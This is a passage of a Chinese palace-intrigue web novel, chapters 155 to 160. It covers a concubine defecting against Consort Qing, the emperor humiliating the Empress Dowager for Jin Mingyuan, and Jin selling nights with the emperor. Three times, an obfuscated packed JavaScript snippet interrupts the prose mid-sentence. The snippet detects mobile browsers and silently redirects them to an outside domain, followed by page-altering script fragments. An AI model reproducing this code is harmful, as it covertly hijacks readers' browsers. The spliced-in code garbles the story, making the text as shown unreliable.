王昭仪闷闷的应了一声,她把头低了下去,眼睛里都是讽刺。 查?她拿什么查?不过就是到最后随便拉个人顶罪罢了。 这本就是她惯用的手段了。 但这会儿王昭仪也不敢戳破清妃的话,倒是姜妃在一边阴阳怪气:“啧啧啧,还真是好一番姐妹情深呀,这宫里有清妃和王昭仪这样的情谊,可真是不多见了。” 第155章 王昭仪投诚 那天王昭仪回去之后就病倒了,一病就是七八天。 清妃那里,据说每天都会抽时间去王昭仪那里探望,宫里很多人都赞叹清妃体恤嫔妃。 在其他人的眼里,也都觉得王昭仪和清妃关系更亲近了。 可却不知在王昭仪病好的第一天,她就来了邀云宫。 彼时姜妃已经在忙着筹备年关宫宴要用的东西了。 虽然现在有清妃和安妃帮着操持,但是她还是得分出精力来去防着清妃做什么小手段,反而比起之前来更废精力了。 王昭仪的到来,姜妃一点也不例外,又或者说她和晋明鸢一直都等着王昭仪来了。 两个人齐齐摆出了一副惊讶的模样,姜妃说:“王妹妹这大病初愈,本宫还没来的及去看你呢,你怎么倒先来了我们这里?” 王昭仪直接道:“姜妃姐姐,都是我不好,那天你明明好心提醒我的,可我太信任清妃了,都是我没有看清楚她的真面目,才害了阿弟。 我知道姐姐不喜欢清妃,我今日来就是特地来投靠姐姐的,还望姐姐给我一次机会。” 姜妃饶有兴趣的看着王昭仪:“我可听不懂王妹妹在说什么,谁不知道你与清妃关系最好,甚至为了帮她**,你连冰湖都敢跳。 现在你来我这里,忽然说投诚,该不会是假意投靠,实际上帮她打听消息吧?” 姜妃的话就像是一根刺,狠狠的扎在了王昭仪的心上。 王昭仪浑身都在发抖。 不只是身体,就连心也跟着发冷。 她到现在还忘不了**里刺骨的温度。 甚至就是因为跳了冰湖,她受了寒,伤了身子,更是直接失去了做母亲的可能。 可那时候她想着,如果能换回阿弟一条命的话,她的牺牲是值得的。 结果呢… 阿弟还是**。 明明陛下都已经答应了饶过阿弟,可阿弟还是**! 这一切都是拜那个赵清吟所赐。 仅仅是想想,王昭仪就抑制不住浑身的恨意。 王昭仪说:“我知道姜姐姐不信我,但我今天是带着诚意来的,冷宫里的余嬷嬷,那是陛下派去照顾晋娘娘的人,晋娘娘想不想知道她**的?” 这已经不是晋明鸢第一次听余嬷嬷了。 之前贺云瑄就常常把余嬷嬷挂在嘴边。 在她不称职的那些年岁里,都是余嬷嬷照顾贺云瑄的。 晋明鸢说:“余嬷嬷的事,云瑄已经跟我说过了。 说起这个,我还没有找你们算账呢,那些年你们所有人都欺负过我儿子吧?” 晋明鸢冷了脸,她还没有找那些人算账呢,王昭仪就主动提了起来。 王昭仪也想到了这一茬,脸色略微有点尴尬,很快她就说:“晋娘娘,这些事我们确实都做过,我没法否认,但这一切背后确实都是清妃的手笔。 当年您进了冷宫之后,她就常常去冷宫看您,但暗地里却指使我们欺负贺云瑄,她嘴上说,她讨厌贺云瑄,是因为贺云瑄害您进了冷宫,以此暗示我们打骂折辱他。 但她自己又做出一副好人模样,跑来关照贺云瑄,还总是口口声声的说她在接济您,其实我们都清楚,她每次来都是空着手的。 她不过就是仗着您不与贺云瑄说话,借此来挑拨你们的母女关系,让贺云瑄以为,你一个人躲起来享福。 余嬷嬷死的那天,贺云瑄跪在你门前,求棉被,求伤药。 那天清妃就在你房里,是她拦着你,不让你见贺云瑄。 那天夜里,是欣婕妤看不过去,偷偷想让人送被子过来,也被清妃发现了,欣婕妤被她罚得抄了一夜的宫规。” 伴随着王昭仪的话一句句的落下,晋明鸢脸上的震惊无以复加。 她瞪大了眼睛,一时不知道该如何反应。 心脏都好像是被一只手攥住了,让她有点喘不过气来。 她从来都不知道,贺云瑄还跪在他门外求过她,这些贺云瑄都没与她说过。 当初的她到底是有多狠的心,仅仅是听信清妃的三两句话,就对自己的儿子都视而不见。 姜妃坐在一边,脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15681454|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上也是一片的心疼。 这些她从来都不知道的,如果她的气性没有那么大,如果她没有和晋姐姐怄气的话。是不是晋姐姐和云瑄在冷宫里就可以不用受这么多委屈? 姜妃一点儿也不怀疑王昭仪话里的真假,以她对清妃的了解,人前一套人后一套,正是那人最惯用的手段。 晋明鸢好一会儿,才堪堪缓过了神来,她看着王昭仪:“你在说谎,欣婕妤明明一直欺负云瑄,甚至余嬷嬷的死欣婕妤关系最大。” 王昭仪说:“欣婕妤家里无权无势,她进宫之后只想找个靠山,那时候是清妃让她做什么她就做什么。 但她心软,不敢做得太过,直到那一日想偷偷给贺云瑄送东西,被清妃发现之后,她就开始更竭力的讨好清妃了,也成了我们这些人里欺负贺云瑄最多的那个。 如果你们不相信的话,可以把她叫来,让太医看看她膝盖上是不是有冻伤。 那夜清妃罚她跪在雪地里抄了一夜的书,她才是最清楚清妃真面目的那个,只是她不敢说。” 王昭仪连欣婕妤腿上有伤的事都说的这么清楚,晋明鸢对她的话已然信了大半,可是越是相信,她心里就越难受。 如果王昭仪说的是真的,那她当初也是真的放任着云瑄跪在她面前求她而视而不见。 “所以我当年为什么对云瑄那么冷漠?”晋明鸢问。 即便她知道,她迟早有一天会恢复记忆,得到所有的真相,可现在她就是等不了了。 她的云瑄那么乖,那么懂事,她为什么能狠心从不理会云瑄呢? 姜妃叹了口气:“因为那时候所有人都说贺云瑄不是陛下的孩子,让陛下处死你们,陛下不同意,赵清吟提出,让你除掉贺云瑄,保全自己。 你当然不肯,直接扬言你得和云瑄共生死,后面就是各退一步,说是为了陛下的面子着想,你可以留着贺云瑄,但是不能与他接触,你也不同意,然后你们就一起进了冷宫。 可事实上,当初宫里风言风语不断,你不知因为什么原因,就真的不再理会贺云瑄了。” 第156章 找贺江灈 姜妃说到这些的时候也是一脸无奈。 这些是真真假假的,怕是除了晋明鸢本人和亲身经历过的清妃陛下以外,其他人口中的说法总是有些偏差的,她当初也是多番打听才知道了这些。 晋明鸢听着姜妃的话,不由的就想到了当初她还在冷宫里的时候,贺江灈以暗卫的身份见她,也提过几句当**,那时候贺江灈说的也是,清妃劝她丢掉云瑄。 看来当**实已经和姜妃现在说的大差不差了。 她或许是因为流言蜚语,又或许是因为别的什么,总之不管哪一种,怕是都和那个清妃脱不了干系,就连云瑄的出生也是。 王昭仪又说:“姜姐姐,晋娘娘,我这次是真心来投城的,我可以帮你们去做清妃的眼线,我只希望你们如果对付清妃的话带上我,我想亲手为阿弟报仇。” 一提到自己的弟弟,王昭仪声音都有点颤抖。 如果不是知道清妃在陛下那里的地位,仅凭她自己根本动摇不了清妃,反而会搭上自己的性命,她早就按耐不住对清妃动手了。 从那日在福寿宫里出来,她和清妃陪着笑脸的时候,就已经在想着怎么抓住清妃的把柄了。 “你都动不了她,凭什么觉得我们可以?”姜妃反问,她一点儿也不否认她对清妃的厌恶。 王昭仪偏了偏头,视线已经落在了晋明鸢的身上:“清妃平日里最忌惮的就是晋娘娘了,就算当年晋娘娘进了冷宫,她也恨不得时时盯着晋娘娘。 这陛下的心里,也只有晋娘娘的地位能高过清妃,只有晋娘娘要动她,陛下才可能不管。” 话到这里的时候,王昭仪的恨意更浓烈了。 她一直待在清妃身边。 她很清楚陛下对清妃的好,不过是因为清妃有一个好兄长。 可就是因为她那个已经**多年的兄长,就足够让她拥有陛下的偏爱和信任。 王昭仪这次来投诚,盯着的从来就不是姜妃,而是晋明鸢。 “你知不知道清妃最近在忙什么?”姜妃问,话里还带着试探的意味。 王昭仪说:“忙着筹备宫宴的事,听说她好像联系了一个什么杂耍班子,说是很新奇,能哄太后开心。” 姜妃再看王昭仪的时候,眼神已经认真了许多。 看来这个王昭仪确实很得清妃的信任。 据她得到的消息,清妃确实在找一个杂耍班子,而且这个杂耍班子就是让晋明鸢恢复记忆的关键,里面好像什么奇人异士,会些古怪的催眠之术,能让人在睡梦里想起遗忘的小事。 那个清妃好像对这些民间的诡术了解颇多,什么样的能人都能让她找到。 姜妃说:“我也想相信王妹妹,可仅仅凭这么几件不痛不痒的事,我实在没办法相信王妹妹的决心,如果王妹妹真心投诚,不如先做出点什么来。” 王昭仪点头:“我知道姜妃姐姐不信我,我会做给姜妃姐姐看的,但如果后续有什么事的话,希望姜妃姐姐助我一臂之力。” 王昭仪很快就走了。 她离开之后,晋明鸢依旧久久没办法回神。 姜妃也知道她这会在想什么,她安慰道:“晋姐姐,之前那些事也不全是你的错,云瑄能理解的,她不会怪你的,你…” 姜妃正想再劝两句,就见晋明鸢忽然起身朝着门外走去。 姜妃吓了一跳,只以为她是按耐不住性子,要去找清妃算账,连忙阻拦道:“晋姐姐,你先冷静一下,清妃的账我们迟早要和她算的,但绝对不是现在,我们…” “谁说我要去找清妃了?”晋明鸢反问。 “那你要去做什么?”姜妃道,她这气势汹汹的样子实在唬人,一看就是要去找谁干架的。 晋明鸢说:“找陛下。” 就算还没有确凿的证据,但她们已经查到了蜀都古族那里。 她现在几乎完全可以笃定,贺云瑄绝对是贺江灈的孩子,尤其是他们两人那几乎一模一样的眼睛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15686781|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个贺江灈,听信清妃的片面之词,眼盲心瞎把云瑄当成野种,任由所有人欺负云瑄,这件事她跟他没完。 这会儿晋明鸢完全不在意贺江灈什么身份了。 她只觉得自己这口气要是不发泄出来,她能把自己憋死。 御书房里,清妃正拿着拟好的宫宴节目名单来找贺江灈过目。 看到那个杂耍的时候,贺江灈随口询问了两句,清妃道:“这些年来宫宴上的节目除了歌呀舞呀的,就没有什么新意,臣妾也想着今年弄些新鲜玩意儿,也让太后让陛下看个新鲜,如果陛下觉得不合适的话…” “你有心了。”贺江灈说,“不过母后太重规矩,如果是在民间请人的话,来之前你得让人上点心,别因为规矩上的事冲撞了母后,再惹母后不喜。” 清妃这段时间确实做了许多荒唐事,也让太后对她的意见格外的大,贺江灈难得的提醒了两句。 清妃听到他主动关心自己,脸上很快就溢出了笑:“臣妾谢陛下提点,臣妾会注意的,陛下放心,这次宫宴绝对不会出纰漏的。” 她略微低着头,说着保证的话,但是眼睛里已经寒意森森。 贺江灈道:“你心里有数就是,在这种大事上,即便有你哥哥的原因,朕也不会偏袒你。” 这话贺江灈像是随口一说,但听到清妃耳朵里却又像带着警告。 清妃脸色略微僵了僵,她在心里嘀咕,其实平常陛下也没偏袒她。 如果真的偏袒,又怎么可能因为一点小事夺了她的宫权,又怎么可能把她交到太后那个老妖婆手上学规矩? 不过这些清妃也只是在心里想想。 没关系的,就算现在陛下不爱她又能怎么样? 等这次宫宴过去,晋明鸢恢复到以前那模样,她依旧是这宫里最风光的那个。 就在清妃还在为了未来沾沾自喜的时候,外面忽然传来张公公有些紧张的声音:“晋娘娘,您别闯呀,您先等奴才替您通传一声。” 第157章 她怎么在 晋明鸢没有想到,清妃竟然也在。 她本就不好看的脸色,在推开门看见清妃的时候更难看了。 清妃看见晋明鸢风风火火的闯进来时,脸色同样也不好看,她先开口道:“晋姐姐,你这是怎么了?如此风风火火的。 在这宫里就算有再着急的事,也不能这般不守规矩呀,就算陛下可以不为难,你可太后娘娘那里…” 清妃意味不明的话还没有说完,就先收到了晋明鸢一个冰冷的眼神。 她声音略微顿了顿,才有点讪讪道:“晋姐姐,你别这样看着我,我没有恶意,我只是想提醒你一句,你忘了上次在福寿宫里,太后娘娘就说过你了吗? 妹妹也是怕你酿成大错,惹了太后娘娘不喜,才好心提醒的。” “不需要。”接上清妃的却不是晋明鸢,而是贺江灈,对着清妃错愕的眼睛,贺江灈又补充一句,“朕当年娶阿鸢的时候,就承诺过不需要她去讨好谁,包括太后。 就算你是为了阿鸢好,这件事以后也不许再提了。” 清妃对上的是贺江灈一双带着几分警告的眼睛。 清妃表面上点了一下头,但眼睛里闪过了一层阴翳,她很快就用恭恭敬敬的道:“是臣妾多嘴了。” 贺江灈这回没有理清妃,而是转而把视线落在了晋明鸢这里:“你找朕有事?” 有事算不上。 晋明鸢刚才就是一时气不过,想来打他一顿的。 现在被清妃一打岔,本来就濒临爆发的火气又一次沸腾了一下,她问:“她为什么会在这里?” “我来和陛下商议宫宴的事。”清妃说,“是我哪里做错了什么让晋姐姐误会了吗?怎么感觉姐姐今天好像对我意见很大?若是真是我哪儿做错了,还请姐姐告诉我,我改。” 清妃低着头,一副唯唯诺诺的模样,一双手在身前交握,嵌进肉里的指甲彰显着她此刻心情并不平静。 这个晋明鸢到底怎么回事? 她凭什么以这种质问妾室的态度来质问她? 就算她之前是陛下的正妻,可现在她分明什么位分都没有,若是真论起来,也该是自己这个正儿八经的妃位高她一头。 难道她失忆之后又重新爱上陛下了,所以才会表现出这样的占有欲来? 清妃越想越是生气,险些就维持不住她表面上的那份温柔。 她略微抬了一下眼皮,小心翼翼的瞧了晋明鸢一眼。 不行,她绝对不能放任的晋明鸢这么下去,这次宫宴,一定得让晋明鸢恢复记忆才行。 晋明鸢也在看清妃。 女人看起来柔柔弱弱的,她只要一开口说话就是在示弱。 好像什么时候,都是那么的委屈。 难道她之前对清妃好,就是被她这份柔弱骗了吗? “晋姐姐,你为什么这样看着我?”晋明鸢有一会儿没说话,清妃又问。 晋明鸢这才回过神来,她看着清妃那张有点委屈的脸,说出来的话一点也不客气:“是,你得罪我了,我看到你就烦,这样够了吧,你可以去改了吧?” 清妃的委屈僵在了脸上,她瞪大着一双眼睛,不可置信地看着晋明鸢,就像从来没想到有人能把厌恶说的这样直白,又或者是没想到有人会这么厌恶她。 晋明鸢也不管她怎么想,继续说:“不是说要改吗?你去改呀。” 她改个鬼呀,她怎么改? 清妃的呼吸都跟着重了一些,这会儿饶是她,也忍不住想要骂人。 她深吸了一口气,随即又委屈地看向了贺江灈:“陛下…” “清妃,既然事情都说完了,你便去筹备吧。”贺江灈没有让清妃说下去,直接摆了摆手,示意她退下。 这会儿清妃哪里还不明白,他分明是选择了站在晋明鸢那边,晋明鸢说讨厌她,他就让她走。 如此干脆,连理由都不用问。 清妃脸色铁青,她又想到了六七年前,这一切都没有发生的时侯。 又或者是更早一点,在他们小时候,贺江灈永远都是跟在晋明鸢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15686782|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身边,说对晋明鸢唯命是从都不为过。 从御书房里出来,清妃再也维持不住脸上的表情,她直接狠狠地跺了跺脚,又回头看了一眼御书房的方向。 满春现在在她身边,连大气也不敢出。 御书房里,贺江灈看着晋明鸢:“怎么忽然过来找朕,是有什么事吗?” “她刚才到底跟你说什么了?”晋明鸢直接问。 贺江灈一点也不避讳,把清妃刚才拿来的单子直接递了过来:“就是宫宴排演节目的事。” 晋明鸢看了一眼,一下子就注意到了王昭仪提到的那个杂耍。 贺江灈看顺着她的视线望过来:“这个是她自己定的,她说想弄点有新意的东西,你要是不喜欢的话可以直接划掉。” “别,这个听着就有意思,我也想看。”一天他要划掉,晋明鸢一下子就急了。 那可是能让她恢复记忆的好东西,可不能划掉。 没看出有什么猫腻,晋明鸢把那张单子又还给了贺江灈:“她就只跟你说了这些,没说别的?” 现在晋明鸢对那个清妃的厌恶已经达到了极致。 只要看到那人,她第一反应就是怀疑她又在搞什么坏主意。 贺江灈说:“就这些,你要是不信,可以问张康全,她来了就一刻钟,也说不了更多的话。” 看着晋明鸢冷静下来,贺江灈又话锋一转:“怎么突然对她有这么大的恶意,她又招惹你了?” 男人的声音带着关切,眉宇间也有关心之色,晋明鸢摇了摇头,那件事还没查出个什么结果来,也没有什么证据,跟他说了他也不信,还不如不说。 “不喜欢,看不惯,没理由。”晋明鸢没好气的说。 贺江灈像是被她这么坦然的话,堵的愣了一下,才又说:“既然不喜欢,以后不接触就是,你还没有说你今天找朕有什么事?” 他放下了手里的奏折,安静的等晋明鸢的话。 晋明鸢看着他那张认真的脸,袖子里的手稍微抬了抬。 第158章 莫不是吃醋? “怎么不说话?是因为太后给你委屈受了?”贺江灈又问。 抬了一半的手又放下。 晋明鸢摇了一下头。 太后那里算什么委屈? 太后说她一句,她也顶了回去,反正也没吃亏。 比起太后来… 晋明鸢那只手又有点蠢蠢欲动。 她这会儿忍不住在想,如果自己真的一巴掌呼过去,能不能全身而退? 贺江灈不知道晋明鸢在想什么,只觉得她今天哪哪都不对劲。 他忽然站了起来,吓得晋明鸢直接后退了一步。 “你干嘛?”晋明鸢问。 贺江灈直接伸手,把她的手攥在了手心里:“走吧。” “做什么去?”这回晋明鸢是彻底的懵了。 贺江灈说:“给你出气,朕把你从冷宫里接出来,不是让你受委屈的。” 他牵着晋明鸢,不由分说的就往福寿宫走。 晋明鸢浑浑噩噩的,一时都有点忘了把手抽回来了。 福寿宫里,太后今天心情还算不错,正带着几个宫女在侍弄花草,就有人禀报陛下来了。 她放下了手里的剪刀,在看到贺江灈牵着晋明鸢过来的时候,眼睛一下子就冷了下来:“皇帝今天怎么有空来哀家这里了?” “朕有段时间没有来看母后了,今天刚好有时间,就想着来与母后说说话,母后不会不欢迎朕吧?”贺江灈说。 “怎么会呢,皇帝能有这份孝心,哀家高兴还来不及呢。”太后讪笑一声,将人迎进了屋,视线却有意无意的往晋明鸢身上瞥。 这晋明鸢的存在,始终都是她心上最大的隐患,可偏偏她现在还拿她没办法。 太后很快就收回了视线,吩咐王嬷嬷上茶,贺江灈在落座之前,忽然问:“母后,阿鸢能坐吗?” “皇帝怎么这么问?”只这一句话,太后就听出了他是来者不善。 贺江灈也不卖关子:“朕听闻母后这里没有阿鸢的座位,便过来瞧瞧是不是有下人苛待了母后,竟然让这偌大的福寿宫里连个椅子都搬不出来。 有这种事母后也不与朕说,这要是让旁人知道了,岂不是要怪朕不孝?张康全,吩咐内务府抬一百把椅子就摆在这福寿宫里,朕倒要看看以后福寿宫还会缺了谁的凳子坐。” 张康全领了命,立刻就要退下,太后高声叫住他:“够了!皇帝,你少在这里阴阳怪气。 你今天过来,是替她出头的?什么时候哀家作为太后,连你的嫔妃都不能管了? 再者说哀家何时不许她坐了,哀家只是说她如今无名无份,不能做首位而已,难道哀家说错了?” 贺江灈说:“母后是不是忘了,这宫里只有阿鸢是朕三媒六聘娶回来的正妻,她和别人自然是不一样的。 你训诫宫妃立威可以,但别把她算进去。 朕记得的很早之前就跟您说过了,朕不希望你打阿鸢的主意。 看来母后这些年独自在福寿宫还是太寂寞了,这样吧,今年年关朕特许皇弟回来陪您说话。” “皇帝,你到底知不知道你在说什么?你是要为了这个女人和哀家撕破脸吗?”太后质问。 贺江灈说:“朕这全是为母后着想呀,朕怜您与皇弟多年未见,让皇弟过来陪您,您何必这么抗拒?” “流儿他不喜欢束缚,不喜欢京城,你何必非要为难他呢?”太后道,她这会儿声音里带了些许的着急。 她很清楚贺江灈就是在威胁她,想要把她儿子弄到宫里来把控着。 贺江灈说:“阿鸢也不喜欢规矩,不喜欢束缚,母后何必拿规矩压她呢?” 他看着太后,声音讽刺,在这件事上明显是寸步不让。 太后深吸了一口气:“这件事是我没考虑周到,哀家跟你道歉,你放流儿自由,这样可以吗?” “不是跟朕道歉,是跟阿鸢道歉。”贺江灈说,“她既然愿意从冷宫里出来,朕就没想让她受委屈,母后能听明白吗?” 太后又看向了晋明鸢。 她一张脸都被憋成了酱紫色,最后还是语速极快的道:“那天的事是哀家不好,哀家不该给你立规矩,但就这么一点小事,你何至于让皇帝过来闹得这么大?你是想让皇帝为了你再背上一个不孝的罪名吗?” “母后话这么多,看来还是寂寞,今年便让皇弟来陪您过年吧。”贺江灈说。 他也不管太后听了他的话是什么反应,直接拉着晋明鸢就出了福寿宫,又对跟上来的张公公道:“还跟着做什么,母后这里这么缺椅子,还不赶紧去给母后弄。” 张公公抹了一把冷汗,也知道陛下这次是动真格的了。 宴平王是得回来的,椅子也是要弄的,这几乎是和往太后脸上扇巴掌,没有区别了。 平日里不管太后做了多过分的事,陛下素来是睁一只眼闭一只眼的,唯独今天… 打发走了张公公之后,贺江灈才看向晋明鸢:“消气了吗?” “谁因为这个生气了?”从被拉进福寿宫到这件事结束,这一切都发生的太快了,到现在晋明鸢脑袋都是懵懵的。 直到听到贺江灈的问话,她才反应过来她的手还被贺江灈,她猛的把手收了回来。 “那是还有别的事?还有谁给你委屈受了?”贺江灈问。 晋明鸢看着他这副随时都准备大干一场的模样,这回终于抬起了手来,一巴掌就拍在了他的肩膀上:“问什么问?你盼着有人给我委屈受啊?” 贺江灈也不恼:“既然不是因为这个,今天怎么想起来找朕了?” 他倒是有自知之明,知道晋明鸢天天和姜妃混在一起,根本想不起来他。 听着他关切的话,晋明鸢更烦了,又是一巴掌拍在了他胸口上:“你少在这里装模作样了,咱们的账我迟早跟你算明白。” “什么账?”这回轮到贺江灈发懵了。 晋明鸢也说不明白,她自己也不太清楚,她嘀咕道:“反正过几天你就知道了。” 两巴掌过去,她觉得有点不解气,临走的时候又抬脚踩了贺江灈一脚。 贺江灈拧着眉,看着她的背影远去,不由的问旁边的小太监:“她在闹什么?” 小太监挠了挠太阳穴,有点不确定:“晋娘娘莫不是因为清妃在吃醋?” 第159章 想不想侍寝 仅仅半个时辰不到的时间,贺江灈为了给晋明鸢出气大闹福寿宫的事就传遍了六宫。 尤其是为了这事儿,陛下让张公公往福寿宫里弄去了整整一百把椅子,这动静闹得这么大,就算没有刻意传播,也足够所有人知道了。 据说太后还因此在福寿宫里砸了一下午的椅子。 一时间,几乎各宫都知道,这宫里的天又要变了。 姜妃听到消息的时候,就问晋明鸢:“晋姐姐,他今天怎么会带你去太后那里出气?” 晋明鸢说:“还不是清妃,说我不懂规矩,惹太后不快了,然后就闹成这样了。” 说到这事儿的时候,晋明鸢还有点头疼。 她本来就有点担心太后会对他下黑手的,现在好了,又把人得罪了一遍。 姜妃关注的倒不是这个。 姜妃问:“陛下这么维护你,带你去福寿宫出气,晋姐姐你该不会被感动了吧?” “怎么会呢?我是那么容易就心软的人吗?不说别的就冲他对云瑄那么冷漠,这事就没完。”晋明鸢说。 她不仅不感动,还有点后悔,刚才没有狠踩两脚呢。 听到这个答案,姜妃满意了:“你能这样想就好,就是不能太轻易的原谅他。” 两个人正说话间,外面就传来了一阵喧闹,是欣婕妤几个嫔妃来了。 对于这些人,姜妃也算是最了解不过了,不过就是一群墙头草,看到谁风头盛就过来攀一下。 之前晋姐姐搬到邀云宫来的时候,她们就都来探望了一番。 后来大抵是见陛下也不常来邀云宫,便又一个个的都歇了心思。 今日这事一出,就又跟着活络了起来。 上次这群人来的时候,并没有见到晋明鸢,是姜妃把人打发了去。 这回真的见了面,晋明鸢都被她们的热情惊呆了。 来的都是些熟人,之前都去冷宫找她买过鹅的,那时候晋明鸢可不知道这些人这么健谈。 随便她说句什么话,都有人能接上,哪怕她只是点一下头,也有人过来捧。 这架势简直让晋明鸢习惯不了。 不过说话间,晋明鸢视线还是多在欣婕妤那里停留了一些,她听王昭仪说,欣婕妤之前欺负云瑄都是被清妃所迫。 甚至还因为心软,想要帮云瑄挨过罚。 或许是晋明鸢的目光太直白了一些,欣婕妤有点尴尬,她也知道,她和晋明鸢之间实在算不上和谐。 顶着晋明鸢的视线有一会儿,欣婕妤终于自己坐不住了,她站起了身:“晋娘娘,臣妾忽然想起来还有事,臣妾…” “等等。”晋明鸢说,她看着欣婕妤问,“你想侍寝吗?” 欣婕妤被问懵了。 周围所有人都被问懵了。 无数震惊的眼睛齐齐落在了晋明鸢的身上。 姜妃更是拉了一下晋明鸢的袖子:“晋姐姐,你又要干什么?” 姜妃都服了,晋姐姐这想起一出来是一出的毛病,越来越严重了,正说着话呢,她忽然插了这么一口,先不说是不是太突兀,简直就是让人没法接。 晋明鸢按住了姜妃的手,她还是看着欣婕妤:“你想不想,一百两,一百两就可以。” 欣婕妤嘴角都是抽搐的。 她根本就分辨不出来,晋明鸢到底是逗她玩儿的,还是真是这么想的。 她现在手里最不缺的就是银子,如果只是花一百两就能侍寝的话,她是愿意的。 不仅仅是她,怕是在宫里所有的嫔妃都愿意。 “晋娘娘,你说真的?”欣婕妤问。 晋明鸢说:“真的,只要一百两,我就能让陛下去你宫里,不仅仅是你,你们谁都行。” 一群嫔妃们面面相觑,显然是被晋明鸢的话说动了。 姜妃趁机把晋明鸢拉到了一边:“你想拿陛下挣钱?” 姜妃已经不知道该说什么好了。 之前卖鹅也就算了,好歹还能应付过去,现在直接卖陛下,这算什么事儿呀? 就算姜妃乐忠于看贺江灈的笑话,都觉得这回晋明鸢实在有点过了。 晋明鸢说:“怕什么?这是他自己说的,让我有什么事只管找他。 我这对他是也是好事呀,反正他也是要去后宫的。 再说了,他让我们云瑄吃了那么多苦,我从他身上挣点钱给云瑄用,不过分吧。” 晋明鸢也不管这番说辞有没有说动姜妃,她自己是越想越觉得合理,于是又转身直接看向了欣婕妤:“考虑的怎么样了?你们谁考虑好了就把钱拿来,我可告诉你们,这种机会可不多得,今天我要一百两,说不定明天就涨价了,你们可得好好考虑考虑。” 她也分辨不出这个欣婕妤到底是好是坏,揣了什么心思,不过没关系,这都不耽误她从她们身上挣钱。 不管是什么事,都先等她赚够了银子再说好了。 许多嫔妃都被晋明鸢的话说动了,但是这种事毕竟非同小可,还可能要面临陛下的震怒,一时没有一个人第一个站出来。 晋明鸢又看向了欣婕妤:“我记得你最有钱了,就从你开始吧,一百两拿来,今晚上陛下就去你那里。” 她手直接对着欣婕妤伸了出来,欣婕妤脸色有点尴尬,从怀里摸索了一阵,还是摸出了一个荷包,递了过来。 眼见着晋明鸢把荷包揣了起来,她惴惴不安地补充道:“晋娘娘,这银子就当是我拿给你玩儿的,至于你说的那些话,还是算了吧,我…” “哎呀,你放心吧,我说到做到,好了,你就回去等消息吧。”晋明鸢说。 一百两呀,仅仅两句话的功夫就到手了。 这宫里的钱还真是好赚,她之前肯定就是拎不清,连这份头脑都没有,才让云瑄过得那么惨。 这回她一定得多攒点银子,等云瑄下次走的时候,给云瑄带上,绝对不能再委屈了她的宝贝儿子。 一众嫔妃都被晋明鸢打发了出去,她们临走的时候还都是惴惴不安,姜妃在一边也惴惴不安。 她没办法否认,这次晋姐姐是真的踩在了陛下的底线上。 她都不敢想,陛下现在一心想着和晋姐姐和好,晋姐姐忽然把他卖出去,这事让他知道了,他得多么震怒。 第160章 他的阿鸢把他卖了? 姜妃想了又想,还是觉得不能让晋明鸢这么冒险,于是她小声提醒道:“晋姐姐,这件事还是算了吧,先不说陛下会不会去后宫,就算他真要找人侍寝,也不是你能安排的呀,我觉得还是不要赚这个钱的好。” 有句更难听的话,姜妃都不敢说。 晋姐姐这么安排陛下,和把陛下当成外面红楼里的小倌有什么区别? 不管从哪个方面想,这事传到陛下耳朵里,他都得震怒。 晋明鸢并不觉得有什么问题,她安抚道:“他自己让我有事就提的,放心好了,先试试嘛,就算他真的不愿意,大不了我把钱还回去就是了。” 姜妃想说,这根本就不是还钱的问题。 可晋明鸢也根本不听。 她又拍了拍姜妃的手:“好了,我不跟你说了,我要去找陛下了。” 但还没有等她走出去,外面就传来了张公公的一生通传:“陛下驾到。” 一听这消息,姜妃整个人都麻了。 她已经不敢想自己接下来会看到什么场景了,这种事她宁愿不看到的。 晋明鸢这会儿倒是笑意更深了,她说:“还真是巧了,我还没去找他呢,他自己就来了。” 这会儿贺江灈在晋明鸢眼里的形象俨然成了活菩萨财神爷,她就从来没有像今天这么高兴见到贺江灈的。 晋明鸢的好心情实在是太明显,根本掩盖不住,贺江灈一进来就感觉到了,他问:“阿鸢看起来很高兴,是有什么好事吗?” 晋明鸢直接就要开门见山,是姜妃赶在她前面急急开口:“陛下,您今天怎么有空来邀云宫了?” 说话间,姜妃心里忍不住,暗自嘀咕。 真不知道陛下得知晋姐姐的开心事是卖他,他还笑不笑得出来。 若是寻常时候,看到贺江灈吃瘪,姜妃肯定得兴高采烈的看戏的,只是这事儿… 姜妃真觉得没那么好收场。 贺江灈却是皱着眉有点不满地看了姜妃一眼,像是在怪她打岔。 但他还是招了招手,让张公公端上来了一些布匹:“马上就到年关了,朕之前给你准备的宫装,你可能不太喜欢,这些布都是朕亲自选的,正好给你再做几件新衣。” 晋明鸢对布匹不太感兴趣,她神色怏怏的应了一声,让人把东西收到了一边。 贺江灈看她这幅态度,就又想到了那小太监的话。 